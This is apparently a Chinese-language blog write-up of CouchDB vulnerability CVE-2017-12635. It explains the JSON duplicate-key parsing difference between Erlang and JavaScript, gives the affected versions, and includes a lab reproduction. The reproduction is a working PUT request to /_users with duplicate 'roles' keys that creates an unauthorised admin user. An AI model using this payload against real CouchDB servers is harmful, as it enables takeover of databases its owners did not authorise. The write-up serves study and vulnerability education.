# Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞
**couchdb简介:**
– Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
**漏洞原理:**
– CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让**任意用户创建管理员**,属于垂直权限绕过漏洞。
– 举例:
`Erlang:` `> jiffy:decode(“”{““a“”:”“1“”, ““a“”:”“2“”}”“).` `{[{<<``"a"``>>,<<``"1"``>>},{<<``"a"``>>,<<``"2"``>>}]}`
“`
JavaScript:
> JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
“`
– 在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。这里涉及的函数参考:https://www.anquanke.com/post/id/87256;https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
**影响版本:**
– 小于 1.7.0 以及 小于 2.1.1
**复现:**
– **构造创建用户的数据包**
– 漏洞\1.png)
– 绕过role验证:
– payload:
– `PUT /_users/org.couchdb.user:vulhub HTTP/1.1“Host: 192.168.183.134:5984“Accept: */*“Accept-Language: en“User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)“Connection: close“Content-Type: application/json“Content-Length: 110` `{“ “”type”“: “”user”“,“ “”name”“: “”vulhub”“,“ “”roles”“: [“”_admin”“],“ “”roles”“:[],“ “”password”“: “”vulhub111″“}`
漏洞\2.png)
**一些小思考:**
– 虽然分析说,只读取第一个键值,按理来说,第二个值是任意的应该不影响,但我测试发现,只有为空时,poc才正确操作。
漏洞\3.png)
– 且在创建一个成功后,再重复发包,也会报错409,
– 修改已创建的密码也不行
漏洞\4.png)













请登录后查看评论内容